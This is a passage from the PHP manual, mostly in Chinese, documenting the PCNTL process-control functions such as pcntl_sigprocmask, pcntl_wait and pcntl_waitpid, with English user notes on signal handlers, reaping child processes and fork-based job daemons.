            exit;
    }

    $allow_exit = false;

    $i = 0;
    while (++$i) {
        echo "still going (${i})\n";
        if ($i == 10)
            $allow_exit = true;

        sleep(2);
    }
?>

You set $allow_exit to true at all times when it is perfectly acceptable that your script could exit without warning. In sections where you really need the script to continue running, you set $allow_exit to false. Any signals received while $allow_exit is false will not take effect until you set $allow_exit to true.

<?
    $allow_exit = true;

    // unimportant stuff here. exiting will not harm anything

    $allow_exit = false;

    // really important stuff not to be interrupted

    $allow_exit = true;

    // more unimportant stuff. if signal was received during
    // important processing above, script will exit here
?>
imslushie at hotmaildotcom dot com 04-Oct-2006 07:16
I have been having trouble reaping my child process. It seemed most of the time, children were reaped properly but *sometimes* they would stay as zombies. I was catching the CHLD signal to reap child processes with the following code:

<?php

function childFinished($signal)
{
  global $kids;
  $kids--;
  pcntl_waitpid(-1, $status);
}

$kids = 0;
pcntl_signal(SIGCHLD, "childFinished");
for ($i = 0; $i < 1000; $i++)
{
  while ($kids >= 50) sleep(1);

  $pid = pcntl_fork();
  if ($pid == -1) die('failed to fork :(');

  /* child process */
  if ($pid == 0)
  {
    /* do something */
    exit(0);
  }

  /* parent */
  else { $kids++; }
}

/* when finished, just clean up the children */
print "Reaping $kids children...\n";
while ($kids) sleep(1);

print "Finished.\n";
?>

The problem was, $kids never became zero so it would effectively wait forever. After wracking my brains (UNIX forks are new to me) I finally read the Perl IPC docs and viola, a solution! It turns out that because signal handlers are not re-entrant, my handler will not be called again while it is in use. The scenario that caused me trouble was that one child would exit and call the signal handler, which would pcntl_waitpid() it and decrement the counter. Meanwhile, another child would exit while the first child was still being reaped,  so the second would never get to notify the parent!

The solution was to continually reap children from the SIGCHLD handler, so long as there were children to reap. Here is the *fixed* childFinished function:

<?php

function childFinished($signal)
{
  global $kids;

  while( pcntl_waitpid(-1, $status, WNOHANG) > 0 )
    $kids--;
}

?>
aeolianmeson at NOSPAXM dot blitzeclipse dot com 09-Jun-2006 01:19
This issue occurs in at least PHP 5.1.2.

When a SIGINT is sent via CTRL+C or CTRL+BREAK, the handler is called. If this handler sends a SIGTERM to other children, the signals are not received.

SIGINT can be sent via posix_kill() and it work exactly as expected-- This only applies when initiated via a hard break.
aeolianmeson at NOSPAM dot blitzeclipse dot com 29-May-2006 08:43
In at least version 5.1.4, the parameter passed to the handler is not a strict integer.

I have had such problems as trying to add the signal to an array, but the array is completely screwed up when viewed (but not viewed immediately after being added). This occurs when the handler is a method (array($this, 'methodname')), or a traditional functions.

To avoid this bug, typecast the parameter to an integer:
(note that each newline may appear to just be 'n'.)

<?php
print("pid= " . posix_getpid() . "\n");
declare(ticks=1);
$arrsignals = array();

function handler($nsig)
{
    global $arrsignals;
    $arrsignals[] = (int)$nsig;
    print("Signal caught and registered.\n");
    var_dump($arrsignals);
}

pcntl_signal(SIGTERM, 'handler');

// Wait for signals from the command-line (just a simple 'kill (pid)').
$n = 15;
while($n)
{
    sleep(1);
    $n--;
}

print("terminated.\n\n");
var_dump($arrsignals);
?>

Dustin
zenyatta22 at hotmail 28-Mar-2006 02:26
Process handling is not available when using a blocking socket! Bear this in mind.
wm161 at wm161 dot net 10-Jan-2006 03:45
When you are running a script inside of a loop that checks a socket, and it hangs on that checking (Either by flaw or design), it can't handle signals until some data is received.

A suggested workaround would be to use the stream_set_blocking function, or stream_select on the offending reads.
codeslinger at compsalot dot com 03-Feb-2005 09:23
I ran into an interesting problem. CLI 4.3.10 Linux

The parent forked a child.  The child did a bunch of stuff, and when it was done it sent SIGUSR1 to the parent and immediately exited.

Result:
The child turned into a zombie process waiting for the parent to harvest it, as it should.

But the parent was unable to harvest the child because it was receiving an endless barrage of SIGUSR1s.  In fact, it logged over 200000 before I shut it down (SIGKILL).  The parent was not able to do anything else (respond to other events) during that time.

No, it wasn't a bug in my child code.  Apparently, after sending a signal there is some "behind the covers" work that needs to occur to acknowledge signal completion, and when you exit immediately it is not able to happen, so the system just keeps trying.

Solution:  I introduced a small delay in the child, after sending the signal, and before exiting.
No more Sig loops...

----------

P.S.  With respect to the note below.  The whole point of the sleep function is to enable the processing of other events.  So, yes, your non-renterent code, will suddenly get re-entered when you do a sleep, because you have just handed off control to the next pending event.

Ignoring the signal is only an option if the signal is unimportant to your program....   The better way to approach it, is to not do lengthy processing inside of the signal event.  Instead set a global flag and get the heck out of there as fast as possible.  Allow another part of your program to check the flag and do the processing outside of the signal event.  Usually your program is in some kind of loop when it is receiving signals, so checking a flag regularly shouldn't be a problem.
ieure at php dot net 19-Jan-2005 05:15
Some weird signal interactions going on here. I'm running PHP 4.3.9.

sleep() calls seem to be interrupted when any signal is received by the PHP script. But things get weird when you sleep() inside a signal handler.

Ordinarily, signal handlers are non-reentrant. That is, if the signal handler is running, sending another signal has no effect. However, sleep() seems to override PHP's signal handling. If you sleep() inside a signal handler, the signal is received and the sleep() is interrupted.

This can be worked around like this:

function handler($signal)
{
    // Ignore this signal
    pcntl_signal($signal, SIG_IGN);

    sleep(10);

    // Reinstall signal handler
    pcntl_signal($signal, __FUNCTION__);
}

I don't see any mention of this behavior in the documentation.
daniel[at]lorch.cc 27-Feb-2002 06:17
There are two documents I consider reading:

  Unix Signals Programming
  http://users.actcom.co.il/~choo/lupg/tutorials/

  Beej's Guide to Unix Interprocess Communication
  http://www.ecst.csuchico.edu/~beej/guide/ipc/

Also, have a look at the manpage:

  http://www.mcsr.olemiss.edu/cgi-bin/man-cgi?signal+5


设置或检索阻塞信号

  • ? pcntl_signal
  • pcntl_sigtimedwait ?
  • PHP Manual
  • PCNTL 函数
  • 设置或检索阻塞信号

pcntl_sigprocmask

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

pcntl_sigprocmask — 设置或检索阻塞信号

说明

pcntl_sigprocmask(int $mode, array $signals, array &$old_signals = null): bool

pcntl_sigprocmask() 函数用来增加，删除或设置阻塞信号，具体行为依赖于参数 mode。

参数

mode

设置 pcntl_sigprocmask() 函数的行为。可选值:

  • SIG_BLOCK: 把信号加入到当前阻塞信号中。
  • SIG_UNBLOCK: 从当前阻塞信号中移出信号。
  • SIG_SETMASK: 用给定的信号列表替换当前阻塞信号列表。

signals

信号列表。

old_signals

old_signals 参数设置为数组，包含先前阻塞的信号列表。

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 pcntl_sigprocmask() 示例

<?php
pcntl_sigprocmask(SIG_BLOCK, array(SIGHUP));
$oldset = array();
pcntl_sigprocmask(SIG_UNBLOCK, array(SIGHUP), $oldset);
?>

参见

  • pcntl_sigwaitinfo() - 等待信号
  • pcntl_sigtimedwait() - 带超时机制的信号等待

User Contributed Notes

There are no user contributed notes for this page.


带超时机制的信号等待

  • ? pcntl_sigprocmask
  • pcntl_sigwaitinfo ?
  • PHP Manual
  • PCNTL 函数
  • 带超时机制的信号等待

pcntl_sigtimedwait

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

pcntl_sigtimedwait — 带超时机制的信号等待

说明

pcntl_sigtimedwait(
array $signals,
array &$info = [],
int $seconds = 0,
int $nanoseconds = 0
): int|false

pcntl_sigtimedwait() 函数实际上与 pcntl_sigwaitinfo() 的行为一致，不同在于它多了两个增强参数 seconds 和 nanoseconds，这使得脚本等待的事件有了一个时间的上限。

参数

signals

要等待的信号列表数组。

info

info 设置为数组，包含信号的信息。参见 pcntl_sigwaitinfo()。

seconds

超时秒数。

nanoseconds

超时纳秒数。

返回值

成功时 pcntl_sigtimedwait() 返回信号编号， 或者在失败时返回 false。

参见

  • pcntl_sigprocmask() - 设置或检索阻塞信号
  • pcntl_sigwaitinfo() - 等待信号

User Contributed Notes

There are no user contributed notes for this page.


等待信号

  • ? pcntl_sigtimedwait
  • pcntl_strerror ?
  • PHP Manual
  • PCNTL 函数
  • 等待信号

pcntl_sigwaitinfo

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

pcntl_sigwaitinfo — 等待信号

说明

pcntl_sigwaitinfo(array $signals, array &$info = []): int|false

pcntl_sigwaitinfo() 函数暂停调用脚本的执行直到接收到 signals
参数中列出的某个信号。只要其中的一个信号已经在等待状态（比如：通过 pcntl_sigprocmask()
函数阻塞），pcntl_sigwaitinfo() 就回立刻返回。

参数

signals

要等待的信号数组。

info

info 参数设置为数组，包含信号信息。

以下元素会为所有信号设置：

  • signo：信号编号
  • errno：错误编号
  • code：信号代码

下面元素可能会为 SIGCHLD 信号设置：

  • status：退出的值或信号
  • utime：用户消耗的时间
  • stime：系统（内核）消耗的时间
  • pid：发送进程ID
  • uid：发送进程的实际用户ID

信号 SIGILL, SIGFPE, SIGSEGV 和 SIGBUS 可能会被设置的元素:

  • addr：发生故障的内存位置

可能会为 SIGPOLL 信号设置的元素：

  • band：Band event
  • fd：文件描述符

返回值

成功时返回信号编号， 或者在失败时返回 false。

示例

Example #1 pcntl_sigwaitinfo() 示例

<?php
echo "Blocking SIGHUP signal\n";
pcntl_sigprocmask(SIG_BLOCK, array(SIGHUP));

echo "Sending SIGHUP to self\n";
posix_kill(posix_getpid(), SIGHUP);

echo "Waiting for signals\n";
$info = array();
pcntl_sigwaitinfo(array(SIGHUP), $info);
?>

参见

  • pcntl_sigprocmask() - 设置或检索阻塞信号
  • pcntl_sigtimedwait() - 带超时机制的信号等待

User Contributed Notes

dave at mudsite dot com 17-Jul-2016 12:28
This function is not available on platforms that do not implement the underlying C function.  Included in this would be MaxOS[1], and FreeBSD[2]

[1] : http://opensource.apple.com//source/xnu/xnu-1456.1.26/bsd/sys/signal.h

[2] : http://fxr.watson.org/fxr/source/sys/signal.h?v=FREEBSD11


Retrieve the system error message associated with the given errno

  • ? pcntl_sigwaitinfo
  • pcntl_unshare ?
  • PHP Manual
  • PCNTL 函数
  • Retrieve the system error message associated with the given errno

pcntl_strerror

(PHP 5 >= 5.3.4, PHP 7, PHP 8)

pcntl_strerror — Retrieve the system error message associated with the given errno

说明

pcntl_strerror(int $error_code): string

Warning

本函数还未编写文档，仅有参数列表。

参数

error_code

返回值

Returns error description.

参见

  • pcntl_get_last_error() - Retrieve the error number set by the last pcntl function which failed

User Contributed Notes

There are no user contributed notes for this page.


Dissociates parts of the process execution context

  • ? pcntl_strerror
  • pcntl_wait ?
  • PHP Manual
  • PCNTL 函数
  • Dissociates parts of the process execution context

pcntl_unshare

(PHP 7 >= 7.4.0, PHP 8)

pcntl_unshare — Dissociates parts of the process execution context

说明

pcntl_unshare(int $flags): bool

pcntl_unshare() allows a process to disassociate parts of its execution context that are currently being shared with other processes. The main use of pcntl_unshare() is to allow a process to control its shared execution context without creating a new process.

参数

flags

The flags parameter is a bitmask that specifies which parts of the execution context should be unshared. This parameter is specified by ORing together zero or more of the CLONE_* constants:

  • CLONE_NEWNS
  • CLONE_NEWIPC
  • CLONE_NEWUTS
  • CLONE_NEWNET
  • CLONE_NEWPID
  • CLONE_NEWUSER
  • CLONE_NEWCGROUP

返回值

Returns 0 on success, -1 otherwise. On failure it sets an error code, that can be retrieved with pcntl_get_last_error().

参见

  • PCNTL Constants
  • pcntl_get_last_error() - Retrieve the error number set by the last pcntl function which failed

User Contributed Notes

There are no user contributed notes for this page.


等待或返回 fork 的子进程状态

  • ? pcntl_unshare
  • pcntl_waitpid ?
  • PHP Manual
  • PCNTL 函数
  • 等待或返回 fork 的子进程状态

pcntl_wait

(PHP 5, PHP 7, PHP 8)

pcntl_wait — 等待或返回 fork 的子进程状态

说明

pcntl_wait(int &$status, int $flags = 0, array &$resource_usage = []): int

wait 函数挂起当前进程的执行直到一个子进程退出或接收到一个信号要求中断当前进程或调用一个信号处理函数。如果一个子进程在调用此函数时已经退出（俗称僵尸进程），此函数立刻返回。子进程使用的所有系统资源将被释放。关于 wait 在您系统上工作的详细规范请查看您系统的 wait（2）手册。

Note:

这个函数等同于以 -1 作为参数 process_id 的值并且没有 flags 参数来调用 pcntl_waitpid() 函数。

参数

status

pcntl_wait() 将会存储状态信息到 status
参数上，这个通过 status 参数返回的状态信息可以用以下函数
pcntl_wifexited()、
pcntl_wifstopped()、
pcntl_wifsignaled()、
pcntl_wexitstatus()、
pcntl_wtermsig() 以及
pcntl_wstopsig() 获取其具体的值。

flags

如果操作系统（多数 BSD 类系统）允许使用 wait3，可以提供可选的 flags 参数。如果这个参数没有提供，wait 将会被用作系统调用。如果 wait3 不可用，提供参数 flags 不会有任何效果。flags 的值可以是以下两个常量中 0 个或多个 OR 运算的结果：

flags 可用值
WNOHANG | 如果没有子进程退出立刻返回。
WUNTRACED | 子进程已经退出并且其状态未报告时返回。

返回值

pcntl_wait() 返回退出的子进程进程号，发生错误时返回 -1，如果提供了 WNOHANG 作为 option（wait3 可用的系统）并且没有可用子进程时返回 0。

参见

  • pcntl_fork() - 在当前进程当前位置产生分叉（fork）
  • pcntl_signal() - 安装信号处理程序
  • pcntl_wifexited() - 检查状态代码是否代表一个正常的退出
  • pcntl_wifstopped() - 检查子进程当前是否已经停止
  • pcntl_wifsignaled() - 检查子进程状态码是否代表由于某个信号而中断
  • pcntl_wexitstatus() - 返回一个中断的子进程的返回代码
  • pcntl_wtermsig() - 返回导致子进程中断的信号
  • pcntl_wstopsig() - 返回导致子进程停止的信号
  • pcntl_waitpid() - 等待或返回 fork 的子进程状态

User Contributed Notes

duerra at yahoo dot com 01-Jul-2010 07:12
Oops, I stripped just a little much from the job daemon code in the previous comment.  You'll want to add a little line before the ->launchJob() method is called:

<?php

while(count($this->currentJobs) >= $this->maxProcesses){
    echo "Maximum children allowed, waiting...\n";
    sleep(1);
}
duerra at yahoo dot com 01-Jul-2010 06:45
Using pcntl_fork() can be a little tricky in some situations.  For fast jobs, a child can finish processing before the parent process has executed some code related to the launching of the process.  The parent can receive a signal before it's ready to handle the child process' status.  To handle this scenario, I add an id to a "queue" of processes in the signal handler that need to be cleaned up if the parent process is not yet ready to handle them.

<?php
declare(ticks=1);
//A very basic job daemon that you can extend to your needs.
class JobDaemon{

    public $maxProcesses = 25;
    protected $jobsStarted = 0;
    protected $currentJobs = array();
    protected $signalQueue=array();
    protected $parentPID;

    public function __construct(){
        echo "constructed \n";
        $this->parentPID = getmypid();
        pcntl_signal(SIGCHLD, array($this, "childSignalHandler"));
    }

    /**
    * Run the Daemon
    */
    public function run(){
        echo "Running \n";
        for($i=0; $i<10000; $i++){
            $jobID = rand(0,10000000000000);
            $launched = $this->launchJob($jobID);
        }

        //Wait for child processes to finish before exiting here
        while(count($this->currentJobs)){
            echo "Waiting for current jobs to finish... \n";
            sleep(1);
        }
    }

    /**
    * Launch a job from the job queue
    */
    protected function launchJob($jobID){
        $pid = pcntl_fork();
        if($pid == -1){
            //Problem launching the job
            error_log('Could not launch new job, exiting');
            return false;
        }
        else if ($pid){
            // Parent process
            // Sometimes you can receive a signal to the childSignalHandler function before this code executes if
            // the child script executes quickly enough!
            //
            $this->currentJobs[$pid] = $jobID;

            // In the event that a signal for this pid was caught before we get here, it will be in our signalQueue array
            // So let's go ahead and process it now as if we'd just received the signal
            if(isset($this->signalQueue[$pid])){
                echo "found $pid in the signal queue, processing it now \n";
                $this->childSignalHandler(SIGCHLD, $pid, $this->signalQueue[$pid]);
                unset($this->signalQueue[$pid]);
            }
        }
        else{
            //Forked child, do your deeds....
            $exitStatus = 0; //Error code if you need to or whatever
            echo "Doing something fun in pid ".getmypid()."\n";
            exit($exitStatus);
        }
        return true;
    }

    public function childSignalHandler($signo, $pid=null, $status=null){

        //If no pid is provided, that means we're getting the signal from the system.  Let's figure out
        //which child process ended
        if(!$pid){
            $pid = pcntl_waitpid(-1, $status, WNOHANG);
        }

        //Make sure we get all of the exited children
        while($pid > 0){
            if($pid && isset($this->currentJobs[$pid])){
                $exitCode = pcntl_wexitstatus($status);
                if($exitCode != 0){
                    echo "$pid exited with status ".$exitCode."\n";
                }
                unset($this->currentJobs[$pid]);
            }
            else if($pid){
                //Oh no, our job has finished before this parent process could even note that it had been launched!
                //Let's make note of it and handle it when the parent process is ready for it
                echo "..... Adding $pid to the signal queue ..... \n";
                $this->signalQueue[$pid] = $status;
            }
            $pid = pcntl_waitpid(-1, $status, WNOHANG);
        }
        return true;
    }
}
digitalaudiorock at gmail dot com 21-Jun-2010 02:44
I was unable to get pcntl_wait or pcntl_waitpid to terminate when I had an active signal handler.  I then noticed the post below from gaylord at 100days dot de, however I'm a little confused by that post as I found the exact opposite to be true.  The default value of the third parameter of pcntl_signal (the restart_syscalls parameter) is true and this seems to cause the wait to continue when the signal arrives.  In order to prevent this I had to expressly set it to false.  That is:

pcntl_signal(SIGTERM, 'my_handler_function', false);
gaylord at 100days dot de 16-Jun-2010 05:17
pcntl_wait will not terminate on signals if you have a PHP signal handler activated (pcntl_signal).
This is unless the signal handler was activated with 3rd parameter=true.

Example:
<?php
declare(ticks=1);
pcntl_signal(SIGTERM, "myHandler");
$pid=pcntl_wait($status);
?>

This will not terminate on SIGTERM sent to the process, because "wait" will be restarted after php recieves the signal. The signal handler "myHandler" will not be called unless pcntl_wait terminates for some other reason.

Change to:
<?php
declare(ticks=1);
pcntl_signal(SIGTERM, "myHandler", true);
$pid=pcntl_wait($status);
?>

Now the pcntl_wait terminates when a signal comes in and "myHandler" will be called on SIGTERM. (Make sure to put the wait in a loop though, because it will now not only terminate when a child exits but also when a signal arrives. Test for $pid>0 to detect a exit message from a child)
(thanks to Andrey for helping me debugging this)
thomas dot nicolai at unisg dot ch 24-Mar-2006 11:19
The code before isnt working for me cause the children are correctly started but not refreshed after they died. So keep in mind to use this instead and use the signal handler to know when a child exits to know when you have to start a new one. I added a few lines to the posting from {andy at cbeyond dot net} cause his post wasnt working for me as well (PHP5.1). Same effect like the one below.

<?php
declare(ticks = 1);

$max=5;
$child=0;

// function for signal handler
function sig_handler($signo) {
  global $child;
  switch ($signo) {
   case SIGCHLD:
     echo "SIGCHLD received\n";
     $child--;
  }
}

// install signal handler for dead kids
pcntl_signal(SIGCHLD, "sig_handler");

while (1){
       $child++;
       $pid=pcntl_fork();

       if ($pid == -1) {
               die("could not fork");
       } else if ($pid) {

               // we are the parent
               if ( $child >= $max ){
                   pcntl_wait($status);
                   $child++;
               }
       } else {
               // we are the child
               echo "\t Starting new child | now we de have $child child processes\n";
               // presumably doing something interesting
               sleep(rand(3,5));
               exit;
       }
}
?>
federico at nextware dot it 19-Feb-2006 04:39
This a simple multi process application where you can choose
the maximun process that can run at the same time.
This is useful when you need to limit the fork of process.
When the MAXPROCESS is reached the program wait on pcntl_wait()

<?php

DEFINE(MAXPROCESS,25);

for ($i=0;$i<100;$i++){
    $pid = pcntl_fork();

    if ($pid == -1) {
       die("could not fork");
    } elseif ($pid) {
                echo "I'm the Parent $i\n";
        $execute++;
        if ($execute>=MAXPROCESS){
            pcntl_wait($status);
            $execute--;
        }
    } else {
       echo "I am the child, $i pid = $pid \n";
       sleep(rand(1,3));
       echo "Bye Bye from $i\n";
       exit;
    }
}
?>
thisisroot at gmail dot com 19-Oct-2005 07:14
Below is a simple example of forking some children and timing the total duration (useful for stress tests).

<?php

$isParent    = true;
$children    = array();
$start        = microtime( true);

/* Fork you!
 * (Sorry, I had to)
 */
$ceiling = $CONCURRENCY - 1;

for ( $i = 0; (( $i < $ceiling) && ( $isParent)); $i++) {
    $pid = pcntl_fork();
    if ( $pid === 0) {
        $isParent = false;

    } elseif ( $pid != -1) {
        $children[] = $pid;

    }

}

/* Process body */
echo "Do stuff here\n";

/* Cleanup */
if ( $isParent) {
    $status = null;
    while ( count( $children)) {
        pcntl_wait( $status);
        array_pop( $children);
    }

    echo "Completed in " . ( microtime( true) - $start) . " seconds.\n";

}

?>


等待或返回 fork 的子进程状态

  • ? pcntl_wait
  • pcntl_wexitstatus ?
  • PHP Manual
  • PCNTL 函数
  • 等待或返回 fork 的子进程状态

pcntl_waitpid

(PHP 4 >= 4.1.0, PHP 5, PHP 7, PHP 8)

pcntl_waitpid — 等待或返回 fork 的子进程状态

说明

pcntl_waitpid(
int $process_id,
int &$status,
int $flags = 0,
array &$resource_usage = []
): int

挂起当前进程的执行直到参数 process_id 指定的进程号的进程退出， 或接收到一个信号要求中断当前进程或调用一个信号处理函数。

如果 process_id 指定的子进程在此函数调用时已经退出（俗称僵尸进程），此函数 将立刻返回。关于 waitpid 更详细的规范请参见系统的 waitpid（2）手册。

参数

process_id

参数 process_id 的值可以是以下之一：

process_id 可选值
< -1 | 等待任意进程组 ID 等于参数 process_id 给定值的绝对值的进程。
-1 | 等待任意子进程；与 wait 函数行为一致。
0 | 等待任意与调用进程组 ID 相同的子进程。
> 0 | 等待进程号等于参数 process_id 值的子进程。

Note:

指定 -1 作为 process_id 的值等同于 pcntl_wait() 提供（负的 flags）。

status

pcntl_waitpid() 将会存储状态信息到 status
参数上，这个通过 status 参数返回的状态信息可以用以下函数
pcntl_wifexited()、
pcntl_wifstopped()、
pcntl_wifsignaled()、
pcntl_wexitstatus()、
pcntl_wtermsig() 以及
pcntl_wstopsig() 获取其具体的值。

flags

flags 的值可以是以下两个常量中 0 个或多个 OR 运算的结果：

flags 可用的值
WNOHANG | 如果没有子进程退出立刻返回。
WUNTRACED | 子进程已经退出并且其状态未报告时返回。

返回值

pcntl_waitpid() 返回退出的子进程进程号，发生错误时返回 -1，如果使用 WNOHANG 并且没有可用子进程时返回 0。

参见

  • pcntl_fork() - 在当前进程当前位置产生分叉（fork）
  • pcntl_signal() - 安装信号处理程序
  • pcntl_wifexited() - 检查状态代码是否代表一个正常的退出
  • pcntl_wifstopped() - 检查子进程当前是否已经停止
  • pcntl_wifsignaled() - 检查子进程状态码是否代表由于某个信号而中断
  • pcntl_wexitstatus() - 返回一个中断的子进程的返回代码
  • pcntl_wtermsig() - 返回导致子进程中断的信号
  • pcntl_wstopsig() - 返回导致子进程停止的信号

User Contributed Notes

renmengyang567 at gmail dot com 07-Apr-2019 06:26
<?php

declare(ticks = 1);
function zp_handler($signal) {
    $id = pcntl_waitpid(-1, $status, WNOHANG);
    if (pcntl_wifexited($status))
    {
        printf("Removed Chlid id: %d \n",$id);
        printf("Chlid status: %d \n",pcntl_wexitstatus($status));
    }
}

//pcntl_signal_dispatch();
pcntl_signal(SIGCHLD, "zp_handler");
//pcntl_signal_dispatch();
//

$pid = pcntl_fork();
if ($pid == 0)
{
    print "#1 Hi, I'm child process".PHP_EOL;
    sleep(3);
    return 10;
}
else
{
    print "#1parent process id:".$pid.PHP_EOL;
    $pid = pcntl_fork();
    if ($pid == 0)
    {   print "#2 Hi, I'm child process".PHP_EOL;
        sleep(10);
        exit(20);
    }
    else
    {
        print "#2parent process id:".$pid.PHP_EOL;
        for ($i=0; $i <10 ; $i++) {
            print "wait..".PHP_EOL;
            sleep(10);
        }
    }
}
?>
fx4084 at gmail dot com 12-Sep-2014 07:53
<?php
$childs = array();

// Fork some process.
for($i = 0; $i < 10; $i++) {
    $pid = pcntl_fork();
    if($pid == -1)
        die('Could not fork');

    if ($pid) {
        echo "parent \n";
        $childs[] = $pid;
    } else {
        // Sleep $i+1 (s). The child process can get this parameters($i).
        sleep($i+1);

        // The child process needed to end the loop.
        exit();
    }
}

while(count($childs) > 0) {
    foreach($childs as $key => $pid) {
        $res = pcntl_waitpid($pid, $status, WNOHANG);

        // If the process has already exited
        if($res == -1 || $res > 0)
            unset($childs[$key]);
    }

    sleep(1);
}
?>
saguto dot l7cc at gmail dot com 09-Apr-2008 09:09
please note, if you using configure option --enable-sigchild(Enable PHP's own SIGCHLD handler) when complie php(under linux 2.6.18-53.1.13.el5.centos.plus and php 5.2.5 as I know), pcntl_waitpid and pcntl_wait in php script would never return the child pid, because the build in handle get it first.


返回一个中断的子进程的返回代码

  • ? pcntl_waitpid
  • pcntl_wifexited ?
  • PHP Manual
  • PCNTL 函数
  • 返回一个中断的子进程的返回代码

pcntl_wexitstatus

(PHP 4 >= 4.1.0, PHP 5, PHP 7, PHP 8)

pcntl_wexitstatus — 返回一个中断的子进程的返回代码

说明

pcntl_wexitstatus(int $status): int|false

返回一个中断的子进程的返回代码。这个函数仅在函数 pcntl_wifexited() 返回 true 时有效。

参数

status

参数 status 是提供给成功调用 pcntl_waitpid() 时的状态参数。

返回值

返回子进程返回代码。如果操作系统不支持该功能，将返回 false。

参见

  • pcntl_waitpid() - 等待或返回 fork 的子进程状态
  • pcntl_wifexited() - 检查状态代码是否代表一个正常的退出

User Contributed Notes

There are no user contributed notes for this page.


检查状态代码是否代表一个正常的退出

  • ? pcntl_wexitstatus
  • pcntl_wifsignaled ?
  • PHP Manual
  • PCNTL 函数
  • 检查状态代码是否代表一个正常的退出

pcntl_wifexited

(PHP 4 >= 4.1.0, PHP 5, PHP 7, PHP 8)

pcntl_wifexited — 检查状态代码是否代表一个正常的退出

说明

pcntl_wifexited(int $status): bool

检查子进程状态代码是否代表正常退出。

参数

status

参数 status 是提供给成功调用 pcntl_waitpid() 时的状态参数。

返回值

当子进程状态代码代表正常退出时返回 true，其他情况返回 false。

参见

  • pcntl_waitpid() - 等待或返回 fork 的子进程状态
  • pcntl_wexitstatus() - 返回一个中断的子进程的返回代码

User Contributed Notes

There are no user contributed notes for this page.


检查子进程状态码是否代表由于某个信号而中断

  • ? pcntl_wifexited
  • pcntl_wifstopped ?
  • PHP Manual
  • PCNTL 函数
  • 检查子进程状态码是否代表由于某个信号而中断

pcntl_wifsignaled

(PHP 4 >= 4.1.0, PHP 5, PHP 7, PHP 8)

pcntl_wifsignaled — 检查子进程状态码是否代表由于某个信号而中断

说明

pcntl_wifsignaled(int $status): bool

检查子进程是否是由于某个未捕获的信号退出的。

参数

status

参数 status 是提供给成功调用 pcntl_waitpid() 时的状态参数。

返回值

如果子进程是由于某个未捕获的信号退出的返回 true，其他情况返回 false 。

参见

  • pcntl_waitpid() - 等待或返回 fork 的子进程状态
  • pcntl_signal() - 安装信号处理程序

User Contributed Notes

There are no user contributed notes for this page.


检查子进程当前是否已经停止

  • ? pcntl_wifsignaled
  • pcntl_wstopsig ?
  • PHP Manual
  • PCNTL 函数
  • 检查子进程当前是否已经停止

pcntl_wifstopped

(PHP 4 >= 4.1.0, PHP 5, PHP 7, PHP 8)

pcntl_wifstopped — 检查子进程当前是否已经停止

说明

pcntl_wifstopped(int $status): bool

仅查子进程当前是否停止；此函数只有作用于使用了 WUNTRACED 作为 option 的 pcntl_waitpid() 函数调用产生的 status 时才有效。

参数

status

参数 status 是提供给成功调用 pcntl_waitpid() 时的状态参数。

返回值

如果子进程当前是停止的返回 true，其他情况返回 false。

参见

  • pcntl_waitpid() - 等待或返回 fork 的子进程状态

User Contributed Notes

There are no user contributed notes for this page.


返回导致子进程停止的信号

  • ? pcntl_wifstopped
  • pcntl_wtermsig ?
  • PHP Manual
  • PCNTL 函数
  • 返回导致子进程停止的信号

pcntl_wstopsig

(PHP 4 >= 4.1.0, PHP 5, PHP 7, PHP 8)

pcntl_wstopsig — 返回导致子进程停止的信号

说明

pcntl_wstopsig(int $status): int|false

返回导致子进程停止的信号编号。这个函数仅在 pcntl_wifstopped() 返回 true 时有效。

参数

status

参数 status 是提供给成功调用 pcntl_waitpid() 时的状态参数。

返回值

返回信号编号。如果操作系统不支持该功能，将返回 false。

参见

  • pcntl_waitpid() - 等待或返回 fork 的子进程状态
  • pcntl_wifstopped() - 检查子进程当前是否已经停止

User Contributed Notes

There are no user contributed notes for this page.


返回导致子进程中断的信号

  • ? pcntl_wstopsig
  • POSIX ?
  • PHP Manual
  • PCNTL 函数
  • 返回导致子进程中断的信号

pcntl_wtermsig

(PHP 4 >= 4.1.0, PHP 5, PHP 7, PHP 8)

pcntl_wtermsig — 返回导致子进程中断的信号

说明

pcntl_wtermsig(int $status): int|false

返回导致子进程中断的信号编号。这个函数仅在 pcntl_wifsignaled() 返回 true 时有效。

参数

status

参数 status 是提供给成功调用 pcntl_waitpid() 时的状态参数。

返回值

返回信号编号。如果操作系统不支持该功能，将返回 false。

参见

  • pcntl_waitpid() - 等待或返回 fork 的子进程状态
  • pcntl_signal() - 安装信号处理程序
  • pcntl_wifsignaled() - 检查子进程状态码是否代表由于某个信号而中断

User Contributed Notes

There are no user contributed notes for this page.


POSIX

  • 简介
  • 安装/配置
    • 需求
    • 安装
    • 运行时配置
    • 资源类型
  • 预定义常量
    • posix_access constants
    • posix_mknod constants
    • posix_setrlimit constants
    • posix_pathconf constants
    • posix_sysconf constants
  • POSIX 函数
    • posix_access — Determine accessibility of a file
    • posix_ctermid — Get path name of controlling terminal
    • posix_eaccess — Determine accessibility of a file
    • posix_errno — 别名 posix_get_last_error
    • posix_fpathconf — Returns the value of a configurable limit
    • posix_get_last_error — Retrieve the error number set by the last posix function that failed
    • posix_getcwd — Pathname of current directory
    • posix_getegid — Return the effective group ID of the current process
    • posix_geteuid — Return the effective user ID of the current process
    • posix_getgid — Return the real group ID of the current process
    • posix_getgrgid — Return info about a group by group id
    • posix_getgrnam — Return info about a group by name
    • posix_getgroups — Return the group set of the current process
    • posix_getlogin — Return login name
    • posix_getpgid — Get process group id for job control
    • posix_getpgrp — Return the current process group identifier
    • posix_getpid — 返回当前进程 id
    • posix_getppid — Return the parent process identifier
    • posix_getpwnam — Return info about a user by username
    • posix_getpwuid — Return info about a user by user id
    • posix_getrlimit — Return info about system resource limits
    • posix_getsid — Get the current sid of the process
    • posix_getuid — Return the real user ID of the current process
    • posix_initgroups — Calculate the group access list
    • posix_isatty — Determine if a file descriptor is an interactive terminal
    • posix_kill — Send a signal to a process
    • posix_mkfifo — Create a fifo special file (a named pipe)
    • posix_mknod — Create a special or ordinary file (POSIX.1)
    • posix_pathconf — Returns the value of a configurable limit
    • posix_setegid — Set the effective GID of the current process
    • posix_seteuid — Set the effective UID of the current process
    • posix_setgid — Set the GID of the current process
    • posix_setpgid — Set process group id for job control
    • posix_setrlimit — Set system resource limits
    • posix_setsid — Make the current process a session leader
